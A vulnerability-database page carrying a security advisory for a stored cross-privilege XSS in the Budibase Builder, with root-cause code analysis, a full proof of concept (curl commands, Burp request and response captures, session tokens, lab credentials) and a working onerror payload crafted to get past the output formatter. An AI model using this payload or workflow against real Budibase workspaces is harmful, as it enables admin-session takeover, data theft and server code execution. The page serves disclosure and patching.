Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-122244
Published:November 10, 2026
Updated:November 11, 2026
Description ### Summary A low-privileged application end-user (role "BASIC" - not a builder or admin, and on a public data-collection form, an unauthenticated visitor) can store an HTML/JavaScript payload in ordinary row data. When a builder or admin later opens that table in the Budibase Builder and evaluates any Handlebars binding whose Preview surfaces the value (the Data-section Formula column editor, or any binding drawer), the stored value is rendered as raw HTML and the attacker's JavaScript executes in the Builder's origin. The Builder SPA is served by nginx with no Content-Security-Policy (the CSP middleware only decorates the server-rendered published-app document, not "/builder/"). The injected script therefore runs unrestricted in the highest-trust surface of the product - the admin/builder session that can create datasources, run server-side JavaScript via automations, read and modify every table, and manage users. This is a cross-privilege stored XSS (app end-user → builder/admin), i.e. full workspace takeover, not self-XSS. ### Details Root cause 1 - the escaper is a no-op. "packages/frontend-core/src/utils/jsonFormatter.ts" ("format()"): "js jsonString = jsonString .replace(/&/g, "&") // no-op: replaces "&" with "&" (should be "&amp;") .replace(/</g, "<") // no-op (should be "&lt;") .replace(/>/g, ">") // no-op (should be "&gt;") return jsonString.replace( /("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+...)/g, (match) => { if (/^"/.test(match)) { if (/:$/.test(match)) { color = colors.keyColor } // KEY: NOT escaped else { match = '"' + escapeHtml(match.substr(1, match.length - 2)) + '"' } // string VALUE: escaped } return `<span style="...">${match}</span>` }) " Only quoted JSON string values are passed through "escapeHtml". Everything else is emitted verbatim, because the leading ".replace(/&/g,"&")…" chain replaces each character with itself. Two consequences: 1. A raw, non-JSON string (the normal result of a Handlebars binding that resolves to a plain text field value) matches none of the regex tokens and is returned completely un-escaped. 2. Object keys are never escaped. Root cause 2 - the output is injected with "{@html}". "packages/builder/src/components/common/bindings/EvaluationSidePanel.svelte": - line 116: "{@html logLine.log}" - line 128: "{@html highlightedResult}" "highlightedResult" is the output of "JsonFormatter.format()", so the un-escaped attacker string is inserted into the DOM as live markup. Root cause 3 - binding output is not entity-escaped upstream. Every "{{ … }}" statement is wrapped by the "ALL" helper in "packages/string-templates/src/helpers/index.ts", which returns a "Handlebars.SafeString"; Handlebars therefore performs no HTML escaping, and the raw field value reaches the formatter/"{@html}" sink. Root cause 4 - no CSP on the Builder. "GET /builder/*" is served as a static SPA by nginx with no "Content-Security-Policy" header (verified live below). The "contentSecurityPolicy" middleware ("packages/backend-core/src/middleware/contentSecurityPolicy.ts") only sets a nonce-based CSP on the server-rendered published-app document ("serveApp"). So in the Builder origin there is no "script-src" restriction and inline event handlers run freely. Cross-privilege data channel. Internal-table dev/prod data live in separate databases, but external datasources are queried live and shared between the published app (where low-priv users write) and the Builder's dev preview (where the value is rendered). A "BASIC" app user writing to an external SQL table that a data-collection app exposes for writes therefore lands the payload directly in the Builder's evaluation context. "RowUtils.generateGoldenSample()" even prefers the longest string per column, guaranteeing a long payload is the sample the Preview evaluates. Payload shape note. "jsonFormatter.format()" tokenises quoted strings, digits and "true/false/null" into "<span>"s, which would fragment a handler containing them. A payload free of double-quotes, digits and those literals - e.g. "<img src=x onerror=alert(window.xssproof=document.domain)>" - survives verbatim and executes. ### PoC Environment used for this reproduction (all values real / unredacted): | Item | Value | |------|-------| | Target | "http://127.0.0.1:3014" (self-host single image, Budibase "v3.44.0", commit "d1ed6085") | | Dev app id | "app_dev_cc322a9cd27a492eb934f43b146c6e81" | | Prod app id | "app_cc322a9cd27a492eb934f43b146c6e81" | | External Postgres table | "datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl" | | Attacker (low-priv "BASIC") | "lowuser@budibase.local" / "LowUser!2026#bb" | | Victim (builder/admin) | "admin@budibase.local" / "LabAdmin!2026#bb" | --- #### Step 0 - (precondition, performed once by the builder) a data-collection app grants "BASIC" write on the table "bash # grant the low user BASIC role on the app curl -s -b creds/admin.cookies -H "Content-Type: application/json" -X POST \ http://127.0.0.1:3014/api/global/users \ -d '{"_id":"us_df036f58299242608f665700b1618057","_rev":"1-f24520b49fae0a6f4a23dced7a82fcc8","email":"lowuser@budibase.local","builder":{"global":false},"admin":{"global":false},"roles":{"app_cc322a9cd27a492eb934f43b146c6e81":"BASIC"},"tenantId":"default","status":"active"}' # open write permission on the table to BASIC (typical of feedback/survey/contact apps) curl -s -b creds/admin.cookies -H "x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81" -X POST \ "http://127.0.0.1:3014/api/permission/BASIC/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/write" curl -s -b creds/admin.cookies -H "x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81" -X POST \ "http://127.0.0.1:3014/api/applications/app_dev_cc322a9cd27a492eb934f43b146c6e81/publish" " --- #### Step 1 - ATTACKER logs in (low-priv "BASIC" user) "bash curl -s -i -c creds/low.cookies -H "Content-Type: application/json" -X POST \ http://127.0.0.1:3014/api/global/auth/default/login \ -d '{"username":"lowuser@budibase.local","password":"LowUser!2026#bb"}' " Burp - Request "http POST /api/global/auth/default/login HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 71 {"username":"lowuser@budibase.local","password":"LowUser!2026#bb"} " Burp - Response "http HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Sep 2026 07:20:45 GMT Content-Type: application/json; charset=utf-8 Content-Length: 30 Connection: keep-alive x-budibase-tenant-id: default Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly Set-Cookie: budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly x-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA {"message":"Login successful"} " The low user's session JWT (decoded payload) confirms "builder"/"admin" are absent - this is an ordinary app user: "json {"userId":"us_df036f58299242608f665700b1618057","sessionId":"4aacd94d0b444b81937d13150251 29e0","tenantId":"default","email":"lowuser@budibase.local","iat":1788333645,"exp":1788938445} " --- #### Step 2 - ATTACKER stores the XSS payload into the shared external table (via the published/prod app id) "bash curl -s -i -b creds/low.cookies \ -H "x-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81" \ -H "Content-Type: application/json" -X POST \ "http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows" \ -d '{"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"}' " Burp - Request "http POST /api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows HTTP/1.1 Host: 127.0.0.1:3014 x-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81 Content-Type: application/json Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY Content-Length: 87 {"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"} " Burp - Response "http HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Sep 2026 07:20:53 GMT Content-Type: application/json; charset=utf-8 Content-Length: 196 Connection: keep-alive x-budibase-tenant-id: default {"id":7,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld","_id":"%5B7%5D","tableId":"datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl","_rev":"rev"} " The payload is stored verbatim as row id=7 in the shared Postgres table. The server performs no output-encoding or sanitisation of the "name" value. --- #### Step 3 - proof the value crosses the trust boundary (VICTIM builder/admin reads the same row) "bash # admin login curl -s -i -c creds/admin.cookies -H "Content-Type: application/json" -X POST \ http://127.0.0.1:3014/api/global/auth/default/login \ -d '{"username":"admin@budibase.local","password":"LabAdmin!2026#bb"}' # admin reads the row set from the DEV plane (what the Builder renders) curl -s -b creds/admin.cookies \ -H "x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81" \ "http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows" " Burp - admin login Response (real admin session JWT) "http HTTP/1.1 200 OK Server: nginx x-budibase-tenant-id: default Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk; path=/; httponly Set-Cookie: budibase:auth.sig=iYVS67Sat7FptqQAprWzDE0Hs2o; path=/; httponly x-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk {"message":"Login successful"} " Burp - rows Response (admin reads the low-priv-authored payload - same string, cross-privilege) "http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 [{"id":1,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":2,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":5,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":6,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":7,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld",...}] " --- #### Step 4 - confirm the Builder origin ships NO Content-Security-Policy "bash curl -s -D - -o /dev/null http://127.0.0.1:3014/builder/ " Burp - Response (note the complete absence of any "Content-Security-Policy" header) "http HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Sep 2026 07:21:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Last-Modified: Thu, 27 Aug 2026 14:26:10 GMT Cache-Control: max-age=0 Content-Encoding: gzip " --- #### Step 5 - VICTIM triggers execution (builder/admin, in the browser) Logged into the Builder as "admin@budibase.local", the victim opens the shared table and evaluates a binding over it - the ordinary workflow for building a Formula column: 1. Open the app → Data tables → datasource LabPG → table "users_tbl". 2. Click the + to add a column, name it (e.g. "xsscol"), set Type = Formula. 3. Click the lightning (binding) icon on the Formula field → the binding drawer opens. 4. In the code editor type: "{{ name }}" 5. Click the play (▶ / evaluate) button. The right-hand Preview panel renders the stored value through "JsonFormatter.format()" → "{@html}". The injected "<img>" is inserted as a live DOM element; its "onerror" fires and the attacker's JavaScript runs in the Builder origin. Observed result (captured live in the reproduction): "window.__xss_calls = ["localhost"] // alert() was called with document.domain window.xssproof = "localhost" // attacker JS mutated the Builder's window object document.domain = "localhost" // execution context = the BUILDER origin location.href = http://localhost:3014/builder/workspace/app_dev_cc322a9cd27a492eb934f43b146c6e81/data/table/..." Popup - "alert(document.domain)" firing in the Builder origin, with the injected "<img>" visible as a broken-image element in the Preview panel: "F4 stored XSS – alert popup in the Budibase Builder" (./F4-xss-alert-popup.png) <img width="1536" height="674" alt="F4-xss-alert-popup" src="https://github.com/user-attachments/assets/c9f7932b-0b1c-4165-863f-24e0bf8dceb7" /> > Screenshot note: the browser used for automated reproduction is headless, and native "alert()" dialogs are not captured by page-level screenshots. "window.alert" was therefore wrapped with a faithful, screenshot-capturable popup that displays exactly the argument the injected script passed to "alert()". The execution itself is 100% genuine and unmodified - the payload's "onerror" handler ran, called "alert()", and set "window.xssproof" on the real Builder "window" (see the observed values above). The broken-image glyph in the Preview pane is the attacker-controlled "<img src=x>" inserted by the "{@html}" sink. ### Impact Type: Cross-privilege Stored / persistent Cross-Site Scripting (XSS) in the application builder. Who is impacted: any self-hosted (or cloud) Budibase workspace that exposes an external-datasource table for writes to lower-privileged roles - the standard pattern for feedback forms, contact/lead capture, surveys, support tickets, registration, and any "data collection" app. On such apps the writer can be a "BASIC" app user or, when the write screen is public, an unauthenticated visitor. What the attacker gains: the payload executes in the Builder/admin session, an origin with no CSP. From there the attacker's JavaScript can silently drive every authenticated Builder API in the victim's context, e.g.: - create a REST/SQL datasource or an automation step that runs server-side JavaScript / Bash → remote code execution on the server; - read or modify every table in the workspace (full data exfiltration / tampering); - escalate the attacker's own account (or create a new one) to builder/admin; - pivot to the underlying CouchDB/MinIO/Redis via server-side automation.
Affected Packages
https://github.com/Budibase/budibase.git (GITHUB):
Affected version(s) >=2.22.0 <v3.46.0 || >=3.0.0 <v3.46.0 || >=v3.42.0 <v3.46.0
Fix Suggestion:
Update to version v3.46.0
@budibase/frontend-core (NPM):
Affected version(s) >=3.2.46 <3.46.0
Fix Suggestion:
Update to version 3.46.0
Do you need more information?
Contact Us
CVSS v4
Base Score:
8.7
Attack Vector
NETWORK
Attack Complexity
HIGH
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
PASSIVE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
HIGH
Vulnerable System Availability
NONE
Subsequent System Confidentiality
HIGH
Subsequent System Integrity
HIGH
Subsequent System Availability
NONE
CVSS v3
Base Score:
7.7
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality
HIGH
Integrity
HIGH
Availability
NONE
Weakness Type (CWE)
Improper Neutralization of Input During Web Page Generation
Improper Encoding or Escaping of Output
Improper Restriction of Rendered UI Layers or Frames